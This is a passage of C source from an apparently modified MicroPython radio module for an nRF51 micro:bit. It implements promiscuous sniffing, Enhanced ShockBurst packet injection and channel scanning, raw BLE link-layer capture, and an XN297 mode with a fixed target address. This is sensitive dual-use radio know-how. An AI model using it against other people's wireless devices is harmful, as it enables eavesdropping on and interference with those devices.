rx buffers\n    size_t max_payload = 45; // an extra byte to store the length + timestamp + channel\n    size_t queue_len = radio_state.queue_len; // one extra for tx buffer\n    MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len);\n    buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len;\n    rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer\n\n    // Enable the High Frequency clock on the processor. This is a pre-requisite for\n    // the RADIO module. Without this clock, no communication is possible.\n    NRF_CLOCK->EVENTS_HFCLKSTARTED = 0;\n    NRF_CLOCK->TASKS_HFCLKSTART = 1;\n    while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0);\n\n    // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4\n    NRF_RADIO->TXPOWER = radio_state.power_dbm;\n\n    // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register)\n    NRF_RADIO->FREQUENCY = channel_resolver_get_frequency(radio_state.channel);\n    NRF_RADIO->DATAWHITEIV = radio_state.channel;\n\n    // configure default data rate\n    NRF_RADIO->MODE = RADIO_MODE_MODE_Ble_1Mbit;\n    radio_state.data_rate = RADIO_MODE_MODE_Ble_1Mbit;\n\n    /* Set default access address used on advertisement channels. */\n    NRF_RADIO->PREFIX0 = 0x8e;\n    radio_state.prefix0 = 0x8e;\n    NRF_RADIO->BASE0 = 0x89bed600;\n    radio_state.base0 = 0x89bed600;\n    NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0\n    NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0\n\n    NRF_RADIO->PCNF0 = (\n      (((1UL) << RADIO_PCNF0_S0LEN_Pos) & RADIO_PCNF0_S0LEN_Msk) |  /* Length of S0 field in bytes 0-1.    */\n      (((2UL) << RADIO_PCNF0_S1LEN_Pos) & RADIO_PCNF0_S1LEN_Msk) |  /* Length of S1 field in bits 0-8.     */\n      (((6UL) << RADIO_PCNF0_LFLEN_Pos) & RADIO_PCNF0_LFLEN_Msk)    /* Length of length field in bits 0-8. */\n    );\n\n    /* Packet configuration */\n    NRF_RADIO->PCNF1 = (\n      (((37UL) << RADIO_PCNF1_MAXLEN_Pos) & RADIO_PCNF1_MAXLEN_Msk)   |                      /* Maximum length of payload in bytes [0-255] */\n      (((0UL) << RADIO_PCNF1_STATLEN_Pos) & RADIO_PCNF1_STATLEN_Msk)   |                      /* Expand the payload with N bytes in addition to LENGTH [0-255] */\n      (((3UL) << RADIO_PCNF1_BALEN_Pos) & RADIO_PCNF1_BALEN_Msk)       |                      /* Base address length in number of bytes. */\n      (((RADIO_PCNF1_ENDIAN_Little) << RADIO_PCNF1_ENDIAN_Pos) & RADIO_PCNF1_ENDIAN_Msk) |  /* Endianess of the S0, LENGTH, S1 and PAYLOAD fields. */\n      (((1UL) << RADIO_PCNF1_WHITEEN_Pos) & RADIO_PCNF1_WHITEEN_Msk)                         /* Enable packet whitening */\n    );\n\n    /* CRC config */\n    NRF_RADIO->CRCCNF  = (RADIO_CRCCNF_LEN_Three << RADIO_CRCCNF_LEN_Pos) |\n                         (RADIO_CRCCNF_SKIPADDR_Skip << RADIO_CRCCNF_SKIPADDR_Pos); /* Skip Address when computing CRC */\n    NRF_RADIO->CRCINIT = 0x555555;                                                  /* Initial value of CRC */\n    NRF_RADIO->CRCPOLY = 0x00065B;                                                  /* CRC polynomial function */\n\n    NRF_RADIO->TIFS = 145;\n\n    // set receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // configure interrupts\n    NRF_RADIO->INTENSET = 0x00000008;\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    /* Clear events */\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->SHORTS = 0;\n\n    // enable receiver\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n}\n\n/**\n * Raw BLE Link Layer mode\n *\n * This mode allows BLE link layer sniffing, but does not handle CRC natively.\n * However, chance of a false positive on a 4-byte Access Address is low, so we\n * may manage to check CRC manually.\n * but provides the data as-is without any processing.\n */\n\nvoid radio_enable_ble_ll(void) {\n    radio_disable();\n\n    // Sniff mode on\n    radio_state.mode = MODE_BLE_LL;\n\n    // allocate tx and rx buffers\n    size_t max_payload = 45; // an extra byte to store the length + timestamp + channel\n    size_t queue_len = radio_state.queue_len + 1; // one extra for tx buffer\n    MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len);\n    buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len;\n    rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer\n\n    // Enable the High Frequency clock on the processor. This is a pre-requisite for\n    // the RADIO module. Without this clock, no communication is possible.\n    NRF_CLOCK->EVENTS_HFCLKSTARTED = 0;\n    NRF_CLOCK->TASKS_HFCLKSTART = 1;\n    while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0);\n\n    // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4\n    NRF_RADIO->TXPOWER = radio_state.power_dbm;\n\n    // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register)\n    NRF_RADIO->FREQUENCY = channel_resolver_get_frequency(radio_state.channel);\n    NRF_RADIO->DATAWHITEIV = radio_state.channel;\n\n    // configure default data rate\n    NRF_RADIO->MODE = RADIO_MODE_MODE_Ble_1Mbit;\n    radio_state.data_rate = RADIO_MODE_MODE_Ble_1Mbit;\n\n    /* Set access address, onnly the _address_ parameter is used for simplicity. */\n    NRF_RADIO->PREFIX0 = (radio_state.base0 & 0xff000000)>>24;\n    NRF_RADIO->BASE0 = (radio_state.base0 & 0x00ffffff);\n    NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0\n    NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0\n\n    /* No extra fields, address is directly followed by our data. */\n    NRF_RADIO->PCNF0 = (\n      (((0UL) << RADIO_PCNF0_S0LEN_Pos) & RADIO_PCNF0_S0LEN_Msk) |  /* Length of S0 field in bytes 0-1.    */\n      (((0UL) << RADIO_PCNF0_S1LEN_Pos) & RADIO_PCNF0_S1LEN_Msk) |  /* Length of S1 field in bits 0-8.     */\n      (((0UL) << RADIO_PCNF0_LFLEN_Pos) & RADIO_PCNF0_LFLEN_Msk)    /* Length of length field in bits 0-8. */\n    );\n\n    /* Packet configuration */\n    NRF_RADIO->PCNF1 = (\n      (((37UL) << RADIO_PCNF1_MAXLEN_Pos) & RADIO_PCNF1_MAXLEN_Msk)   |                      /* Maximum length of payload in bytes [0-255] */\n      (((0UL) << RADIO_PCNF1_STATLEN_Pos) & RADIO_PCNF1_STATLEN_Msk)   |                      /* Expand the payload with N bytes in addition to LENGTH [0-255] */\n      (((3UL) << RADIO_PCNF1_BALEN_Pos) & RADIO_PCNF1_BALEN_Msk)       |                      /* Base address length in number of bytes. */\n      (((RADIO_PCNF1_ENDIAN_Little) << RADIO_PCNF1_ENDIAN_Pos) & RADIO_PCNF1_ENDIAN_Msk) |  /* Endianess of the S0, LENGTH, S1 and PAYLOAD fields. */\n      (((1UL) << RADIO_PCNF1_WHITEEN_Pos) & RADIO_PCNF1_WHITEEN_Msk)                         /* Enable packet whitening */\n    );\n\n    /* CRC disabled. */\n    NRF_RADIO->CRCCNF = 0x0;\n    /*\n    NRF_RADIO->CRCCNF  = (RADIO_CRCCNF_LEN_Three << RADIO_CRCCNF_LEN_Pos) |\n                         (RADIO_CRCCNF_SKIPADDR_Skip << RADIO_CRCCNF_SKIPADDR_Pos);\n    */\n    NRF_RADIO->CRCINIT = 0x555555;                                                  /* Initial value of CRC */\n    NRF_RADIO->CRCPOLY = 0x00065B;                                                  /* CRC polynomial function */\n\n    NRF_RADIO->TIFS = 145;\n\n    // set receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // configure interrupts\n    NRF_RADIO->INTENSET = 0x00000008;\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    /* Clear events */\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->SHORTS = 0;\n\n    // enable receiver\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n}\n\n\n\nvoid radio_send(const void *buf, size_t len, const void *buf2, size_t len2) {\n    ensure_enabled();\n\n    /* Not available in sniffing and BLE mode. */\n    if (radio_state.mode == MODE_SNIFF)\n        return;\n\n    if (radio_state.mode == MODE_DEFAULT)\n    {\n        // construct the packet\n        // note: we must send from RAM\n        size_t max_len = NRF_RADIO->PCNF1 & 0xff;\n        if (len + len2 > max_len) {\n            if (len > max_len) {\n                len = max_len;\n                len2 = 0;\n            } else {\n                len2 = max_len - len;\n            }\n        }\n\n        MP_STATE_PORT(radio_buf)[0] = len + len2;\n        memcpy(MP_STATE_PORT(radio_buf) + 1, buf, len);\n        if (len2 != 0) {\n            memcpy(MP_STATE_PORT(radio_buf) + 1 + len, buf2, len2);\n        }\n    } else if (radio_state.mode == MODE_ESB)\n    {\n        if (len > 254)\n            len = 254;\n\n        /* Write header (size + PID/ACK). */\n        MP_STATE_PORT(radio_buf)[0] = len;\n        MP_STATE_PORT(radio_buf)[1] = (radio_state.pid<<1)|1; /* NO ACK required. */\n        radio_state.pid = (radio_state.pid + 1)%4; /* Increment PID. */\n\n        /* Copy payload into memory. */\n        memcpy(MP_STATE_PORT(radio_buf)+2, buf, len);\n    } else if (radio_state.mode == MODE_SB)\n    {\n        /* Copy payload into memory, no header. */\n        memcpy(MP_STATE_PORT(radio_buf), buf, radio_state.max_payload);\n    } else if (radio_state.mode == MODE_CX) {\n        /* Write XN297 preamble. */\n        MP_STATE_PORT(radio_buf)[0] = 0x71;\n        MP_STATE_PORT(radio_buf)[1] = 0x0F;\n        MP_STATE_PORT(radio_buf)[2] = 0x55;\n\n        /* Write target address (always 0x2f, 0x7d, 0x87, 0x26, 0x49) */\n        MP_STATE_PORT(radio_buf)[3] = 0x2f;\n        MP_STATE_PORT(radio_buf)[4] = 0x7d;\n        MP_STATE_PORT(radio_buf)[5] = 0x87;\n        MP_STATE_PORT(radio_buf)[6] = 0x26;\n        MP_STATE_PORT(radio_buf)[7] = 0x49;\n\n        /* Perform scrambling. */\n        for (uint8_t i=0; i<len;i++) {\n            MP_STATE_PORT(radio_buf)[i+8] = bit_reverse(((uint8_t *)buf)[i]) ^ xn297_scramble[i+5];\n        }\n\n        /* And add the CRC. */\n        uint16_t crc = initial;\n        for (uint8_t i = 0; i < (len+5); ++i) {\n            crc = crc16_update(crc, MP_STATE_PORT(radio_buf)[i+3]);\n        }\n        crc ^= xn297_crc_xorout[5 - 3 + len];\n        MP_STATE_PORT(radio_buf)[8 + len] = crc>>8;\n        MP_STATE_PORT(radio_buf)[8 + len + 1 ] = crc & 0xff;\n    } else if (radio_state.mode == MODE_BLE) {\n        /* Reset rx_buffer (test) */\n        //rx_buf = MP_STATE_PORT(radio_buf) + 45;\n\n        /* Write header (PDU type, TxAdd, RxAdd) + length + S1 (0x00). */\n        MP_STATE_PORT(radio_buf)[0] = ((unsigned char *)buf)[0];\n        MP_STATE_PORT(radio_buf)[1] = len-1;\n        MP_STATE_PORT(radio_buf)[2] = 0;\n\n        /* Copy payload into memory. */\n        memcpy(MP_STATE_PORT(radio_buf)+3, (void *)((unsigned char*)buf + 1), len-1);\n    }\n\n    // transmission will occur synchronously\n    NVIC_DisableIRQ(RADIO_IRQn);\n\n    // Turn off the transceiver.\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->TASKS_DISABLE = 1;\n    while (NRF_RADIO->EVENTS_DISABLED == 0);\n\n    // Configure the radio to send the buffer provided.\n    NRF_RADIO->PACKETPTR = (uint32_t)MP_STATE_PORT(radio_buf);\n\n    // Turn on the transmitter, and wait for it to signal that it's ready to use.\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_TXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    // Start transmission and wait for end of packet.\n    NRF_RADIO->TASKS_START = 1;\n    NRF_RADIO->EVENTS_END = 0;\n    while (NRF_RADIO->EVENTS_END == 0);\n\n    // Return the radio to using the default receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // Turn off the transmitter.\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->TASKS_DISABLE = 1;\n    while (NRF_RADIO->EVENTS_DISABLED == 0);\n\n    // Start listening for the next packet\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n}\n\n/**\n * radio_ping()\n *\n * Sends a packet to the TX address and wait for an ACK.\n **/\nint radio_ping() {\n    int ack_received = 0;\n\n    ensure_enabled();\n\n    /* Only available in ESB mode. */\n    if (radio_state.mode != MODE_ESB)\n        return false;\n\n    /* Build an ESB DPL packet. */\n    MP_STATE_PORT(radio_buf)[0] = 4;\n\n    /* If len2 != 0, then requires an ack packet (used for ping). */\n    MP_STATE_PORT(radio_buf)[1] = (radio_state.pid<<1); /* ACK required */\n\n    /* Copy payload to RAM. */\n    memcpy(MP_STATE_PORT(radio_buf)+2, ping_pkt, 4);\n\n    /* Increment PID. */\n    radio_state.pid = (radio_state.pid + 1)%4;\n\n    // transmission will occur synchronously\n    NVIC_DisableIRQ(RADIO_IRQn);\n\n    /* Configure shorts. */\n    NRF_RADIO->SHORTS   = 0;\n\n    // Turn off the transceiver.\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->TASKS_DISABLE = 1;\n    while (NRF_RADIO->EVENTS_DISABLED == 0);\n\n    // Turn on the transmitter, and wait for it to signal that it's ready to use.\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_TXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    // Start transmission and wait for end of packet.\n    NRF_RADIO->TASKS_START = 1;\n    NRF_RADIO->EVENTS_END = 0;\n    while (NRF_RADIO->EVENTS_END == 0);\n\n    // Return the radio to using the default receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // Turn off the transmitter.\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->TASKS_DISABLE = 1;\n    while (NRF_RADIO->EVENTS_DISABLED == 0);\n\n    // Start listening for the next packet (expecting an ACK)\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n\n    /* Wait a bit for an ACK ... (only once) */\n    nrf_delay_us(250);\n\n    /* Check if we got a valid packet. */\n    if(NRF_RADIO->EVENTS_END && NRF_RADIO->CRCSTATUS != 0)\n    {\n        /* Ack received \\o/ ! */\n        ack_received = 1;\n    }\n\n    /* Cleaning and resuming IRQ handler. */\n    NRF_RADIO->SHORTS = 0;\n    NRF_RADIO->INTENSET = 0x00000008;\n\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    return ack_received;\n}\n\n\n/**\n * radio_ping()\n *\n * Finds the channel the current address is listening on.\n **/\nint radio_find() {\n    int ack_received = 0;\n\n    ensure_enabled();\n\n    /* Only available in ESB mode. */\n    if (radio_state.mode != MODE_ESB)\n        return false;\n\n    // transmission will occur synchronously\n    NVIC_DisableIRQ(RADIO_IRQn);\n\n    /* Configure shorts. */\n    NRF_RADIO->SHORTS   = 0;\n\n    // Turn off the transceiver.\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->TASKS_DISABLE = 1;\n    while (NRF_RADIO->EVENTS_DISABLED == 0);\n\n    for (int channel=1; channel <= 100; channel++)\n    {\n        /* Build an ESB DPL packet. */\n        MP_STATE_PORT(radio_buf)[0] = 4;\n\n        /* If len2 != 0, then requires an ack packet (used for ping). */\n        MP_STATE_PORT(radio_buf)[1] = (radio_state.pid<<1); /* ACK required */\n\n        /* Copy payload to RAM. */\n        memcpy(MP_STATE_PORT(radio_buf)+2, ping_pkt, 4);\n\n        /* Increment PID. */\n        radio_state.pid = (radio_state.pid + 1)%4;\n\n        /* Tune to the correct channel. */\n        radio_state.channel = channel;\n        NRF_RADIO->FREQUENCY = radio_state.channel;\n\n        // Turn on the transmitter, and wait for it to signal that it's ready to use.\n        NRF_RADIO->EVENTS_READY = 0;\n        NRF_RADIO->TASKS_TXEN = 1;\n        while (NRF_RADIO->EVENTS_READY == 0);\n\n        // Start transmission and wait for end of packet.\n        NRF_RADIO->TASKS_START = 1;\n        NRF_RADIO->EVENTS_END = 0;\n        while (NRF_RADIO->EVENTS_END == 0);\n\n        // Return the radio to using the default receive buffer\n        NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n        // Turn off the transmitter.\n        NRF_RADIO->EVENTS_DISABLED = 0;\n        NRF_RADIO->TASKS_DISABLE = 1;\n        while (NRF_RADIO->EVENTS_DISABLED == 0);\n\n        // Start listening for the next packet (expecting an ACK)\n        NRF_RADIO->EVENTS_READY = 0;\n        NRF_RADIO->TASKS_RXEN = 1;\n        while (NRF_RADIO->EVENTS_READY == 0);\n\n        NRF_RADIO->EVENTS_END = 0;\n        NRF_RADIO->TASKS_START = 1;\n\n        /* Wait a bit for an ACK ... (only once) */\n        nrf_delay_us(250);\n\n        /* Check if we got a valid packet. */\n        if(NRF_RADIO->EVENTS_END && NRF_RADIO->CRCSTATUS != 0)\n        {\n            /* Ack received \\o/ ! */\n            ack_received = 1;\n            break;\n        }\n    }\n\n    /* Cleaning and resuming IRQ handler. */\n    NRF_RADIO->SHORTS = 0;\n    NRF_RADIO->INTENSET = 0x00000008;\n\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    /* Send result. */\n    if (ack_received == 1)\n        return radio_state.channel;\n    else\n        return -1;\n}\n\n\nstatic mp_obj_t radio_receive(bool typed_packet) {\n    uint8_t *buf = NULL;\n    size_t len = 0;\n    mp_obj_t ret = mp_const_none;\n\n    ensure_enabled();\n\n    // disable the radio irq while we receive the packet\n    NVIC_DisableIRQ(RADIO_IRQn);\n\n    switch(radio_state.mode) {\n        case MODE_DEFAULT:\n            {\n                // get the pointer to the next packet\n                buf = MP_STATE_PORT(radio_buf) + (NRF_RADIO->PCNF1 & 0xff) + 1; // skip tx buf\n\n                // return None if there are no packets waiting\n                if (rx_buf == buf) {\n                    NVIC_EnableIRQ(RADIO_IRQn);\n                    return mp_const_none;\n                }\n\n                // Get packet len and create the Python object\n                len = buf[0];\n                if (!typed_packet) {\n                    ret = mp_obj_new_bytes(buf + 1, len); // if it raises the radio irq remains disabled...\n                } else if (len >= 3 && buf[1] == 1 && buf[2] == 0 && buf[3] == 1) {\n                    ret = mp_obj_new_str((char*)buf + 4, len - 3, false); // if it raises the radio irq remains disabled...\n                } else {\n                    NVIC_EnableIRQ(RADIO_IRQn);\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"received packet is not a string\"));\n                }\n\n                // copy the rest of the packets down and restart the radio\n                memmove(buf, buf + 1 + len, rx_buf - (buf + 1 + len));\n                rx_buf -= 1 + len;\n            }\n            break;\n\n        case MODE_ESB:\n            {\n                buf = MP_STATE_PORT(radio_buf) + 34; // skip tx buf\n\n                // return None if there are no packets waiting\n                if (rx_buf == buf) {\n                    NVIC_EnableIRQ(RADIO_IRQn);\n                    return mp_const_none;\n                }\n\n                // Get packet len and PID\n                len = buf[0];\n\n                /* Don't care about acks for now :) */\n                ret = mp_obj_new_bytes((const unsigned char *)buf+2, len);\n\n                // copy the rest of the packets down and restart the radio\n                memmove(buf, buf + 2 + len, rx_buf - (buf + 2 + len));\n                rx_buf -= (2 + len);\n            }\n            break;\n\n        case MODE_CX:\n        case MODE_SB:\n            {\n                buf = MP_STATE_PORT(radio_buf) + radio_state.max_payload; // skip tx buf\n\n                // return None if there are no packets waiting\n                if (rx_buf == buf) {\n                    NVIC_EnableIRQ(RADIO_IRQn);\n                    return mp_const_none;\n                }\n\n                // Get packet len and PID\n                len = radio_state.max_payload;\n\n                /* Don't care about acks for now :) */\n                ret = mp_obj_new_bytes((const unsigned char *)buf, len);\n\n                // copy the rest of the packets down and restart the radio\n                memmove(buf, buf + len, rx_buf - (buf + len));\n                rx_buf -= (len);\n            }\n            break;\n\n        case MODE_BLE:\n            {\n                buf = MP_STATE_PORT(radio_buf) + 45; // skip tx buf\n\n                // return None if there are no packets waiting\n                if (rx_buf == buf) {\n                    NVIC_EnableIRQ(RADIO_IRQn);\n                    return mp_const_none;\n                }\n\n                // Get packet len (2 + packet size + 5 bytes header)\n                len = buf[6] + 8;\n\n                ret = mp_obj_new_bytes((const unsigned char *)buf, len);\n\n                // copy the rest of the packets down and restart the radio\n                memmove(buf, buf + len, rx_buf - (buf + len));\n                rx_buf -= len;\n            }\n            break;\n\n\n        case MODE_SNIFF:\n            {\n            }\n            break;\n    }\n\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    return ret;\n}\n\nstatic mp_obj_t radio_sniff(void) {\n    ensure_enabled();\n\n    // disable the radio irq while we receive the packet\n    NVIC_DisableIRQ(RADIO_IRQn);\n\n    // get the pointer to the next packet\n    uint8_t *buf = MP_STATE_PORT(radio_buf) + (NRF_RADIO->PCNF1 & 0xff) ; // skip tx buf\n\n    // must wait (writing in progress ?)\n    if (esb_ready == 0) {\n        NVIC_EnableIRQ(RADIO_IRQn);\n        return mp_const_none;\n    }\n\n    // return None if there are no packets waiting\n    if (rx_buf == buf) {\n        NVIC_EnableIRQ(RADIO_IRQn);\n        return mp_const_none;\n    }\n\n    /* Wrong packet format */\n    if ((buf[0] & 0xC0) != 0xC0) {\n        NVIC_EnableIRQ(RADIO_IRQn);\n        return mp_const_none;\n    }\n\n\n    size_t len = buf[0]&0x3F;\n    if (len > 32)\n        len = 32;\n    mp_obj_t ret;\n    ret = mp_obj_new_bytes(&buf[1], len + 5); // if it raises the radio irq remains disabled...\n\n    // copy the rest of the packets down and restart the radio\n    memmove(buf, buf + radio_state.max_payload, rx_buf - (buf + radio_state.max_payload));\n    rx_buf -= radio_state.max_payload;\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    return ret;\n}\n\n\n/*****************************************************************************/\n// MicroPython bindings and module\n\nSTATIC mp_obj_t mod_radio_reset(void) {\n    radio_state.mode = RADIO_DEFAULT_MODE;\n    radio_state.max_payload = RADIO_DEFAULT_MAX_PAYLOAD;\n    radio_state.queue_len = RADIO_DEFAULT_QUEUE_LEN;\n    radio_state.channel = RADIO_DEFAULT_CHANNEL;\n    radio_state.power_dbm = RADIO_DEFAULT_POWER_DBM;\n    radio_state.base0 = RADIO_DEFAULT_BASE0;\n    radio_state.prefix0 = RADIO_DEFAULT_PREFIX0;\n    radio_state.data_rate = RADIO_DEFAULT_DATA_RATE;\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_reset_obj, mod_radio_reset);\n\nSTATIC mp_obj_t mod_radio_config(size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    (void)pos_args; // unused\n\n    if (n_args != 0) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_TypeError, \"arguments must be keyword arguments\"));\n    }\n\n    // make a copy of the radio state so we don't change anything if there are value errors\n    radio_state_t new_state = radio_state;\n\n    qstr arg_name = MP_QSTR_;\n    for (size_t i = 0; i < kw_args->alloc; ++i) {\n        if (MP_MAP_SLOT_IS_FILLED(kw_args, i)) {\n            mp_int_t value = mp_obj_get_int_truncated(kw_args->table[i].value);\n            arg_name = mp_obj_str_get_qstr(kw_args->table[i].key);\n            switch (arg_name) {\n                case MP_QSTR_length:\n                    if (!(1 <= value && value <= 251)) {\n                        goto value_error;\n                    }\n                    new_state.max_payload = value;\n                    break;\n\n                case MP_QSTR_queue:\n                    if (!(1 <= value && value <= 254)) {\n                        goto value_error;\n                    }\n                    new_state.queue_len = value;\n                    break;\n\n                case MP_QSTR_channel:\n                    if (!(0 <= value && value <= 100)) {\n                        goto value_error;\n                    }\n                    new_state.channel = value;\n                    break;\n\n                case MP_QSTR_power: {\n                    if (!(0 <= value && value <= 7)) {\n                        goto value_error;\n                    }\n                    static int8_t power_dbm_table[8] = {-30, -20, -16, -12, -8, -4, 0, 4};\n                    new_state.power_dbm = power_dbm_table[value];\n                    break;\n                }\n\n                case MP_QSTR_data_rate:\n                    if (!(value == RADIO_MODE_MODE_Nrf_250Kbit\n                        || value == RADIO_MODE_MODE_Nrf_1Mbit\n                        || value == RADIO_MODE_MODE_Nrf_2Mbit\n                        || value == RADIO_MODE_MODE_Ble_1Mbit)) {\n                        goto value_error;\n                    }\n                    new_state.data_rate = value;\n                    break;\n\n                case MP_QSTR_address:\n                    new_state.base0 = value;\n                    break;\n\n                case MP_QSTR_group:\n                    if (!(0 <= value && value <= 255)) {\n                        goto value_error;\n                    }\n                    new_state.prefix0 = value;\n                    break;\n\n                case MP_QSTR_raw:\n                    if (!(value == 0 || value == 1)) {\n                        goto value_error;\n                    }\n                    new_state.sniff_raw = value;\n                    break;\n\n                default:\n                    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, \"unknown argument '%q'\", arg_name));\n                    break;\n            }\n        }\n    }\n\n    // reconfigure the radio with the new state\n\n    if (MP_STATE_PORT(radio_buf) == NULL) {\n        // radio disabled, just copy state\n        radio_state = new_state;\n    } else {\n        // radio eabled\n        if (new_state.max_payload != radio_state.max_payload || new_state.queue_len != radio_state.queue_len) {\n            // tx/rx buffer size changed which requires reallocating the buffers\n            radio_disable();\n            radio_state = new_state;\n            radio_enable();\n        } else {\n            // only registers changed so make the changes go through efficiently\n\n            // disable radio\n            NVIC_DisableIRQ(RADIO_IRQn);\n            NRF_RADIO->EVENTS_DISABLED = 0;\n            NRF_RADIO->TASKS_DISABLE = 1;\n            while (NRF_RADIO->EVENTS_DISABLED == 0);\n\n            // change state\n            radio_state = new_state;\n            NRF_RADIO->TXPOWER = radio_state.power_dbm;\n\n            if (radio_state.mode != MODE_BLE) {\n                NRF_RADIO->FREQUENCY = radio_state.channel;\n                NRF_RADIO->MODE = radio_state.data_rate;\n            } else {\n                /* BLE only, switch channel and update whitening IV. */\n                NRF_RADIO->FREQUENCY = channel_resolver_get_frequency(radio_state.channel);\n                NRF_RADIO->DATAWHITEIV = radio_state.channel;\n            }\n\n            /* Update BASE0 and PREFIX0 if required, except when sniffing. */\n            if ((radio_state.mode == MODE_DEFAULT) || (radio_state.mode == MODE_BLE)) {\n                NRF_RADIO->BASE0 = radio_state.base0;\n                NRF_RADIO->PREFIX0 = radio_state.prefix0;\n            } else if (radio_state.mode == MODE_SNIFF){\n                /* Specific values used for sniffing. */\n                NRF_RADIO->BASE0 = 0x00000000;\n                NRF_RADIO->PREFIX0 = 0x55;\n            } else {\n                /* Used in ESB and SB mode .*/\n                NRF_RADIO->BASE0 = bytewise_bit_swap(\n                    (radio_state.base0 & 0x000000ff)<<24 |\n                    (radio_state.base0 & 0xff000000)>>24 |\n                    (radio_state.base0 & 0x0000ff00)<< 8 |\n                    (radio_state.base0 & 0x00ff0000)>> 8\n                );\n                NRF_RADIO->PREFIX0 = bytewise_bit_swap(radio_state.prefix0);\n            }\n\n            // need to set RXEN for FREQUENCY decision point\n            NRF_RADIO->EVENTS_READY = 0;\n            NRF_RADIO->TASKS_RXEN = 1;\n            while (NRF_RADIO->EVENTS_READY == 0);\n\n            // need to set START for BASE0 and PREFIX0 decision point\n            NRF_RADIO->EVENTS_END = 0;\n            NRF_RADIO->TASKS_START = 1;\n\n            NVIC_ClearPendingIRQ(RADIO_IRQn);\n            NVIC_EnableIRQ(RADIO_IRQn);\n        }\n    }\n\n    return mp_const_none;\n\nvalue_error:\n    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, \"value out of range for argument '%q'\", arg_name));\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(mod_radio_config_obj, 0, mod_radio_config);\n\nSTATIC mp_obj_t mod_radio_on(void) {\n    radio_enable();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_on_obj, mod_radio_on);\n\nSTATIC mp_obj_t mod_radio_sniff_on(void) {\n    radio_enable_sniff();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_sniff_on_obj, mod_radio_sniff_on);\n\nSTATIC mp_obj_t mod_radio_esb(void) {\n    radio_enable_esb();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_esb_obj, mod_radio_esb);\n\nSTATIC mp_obj_t mod_radio_sb(void) {\n    radio_enable_sb();\n    return 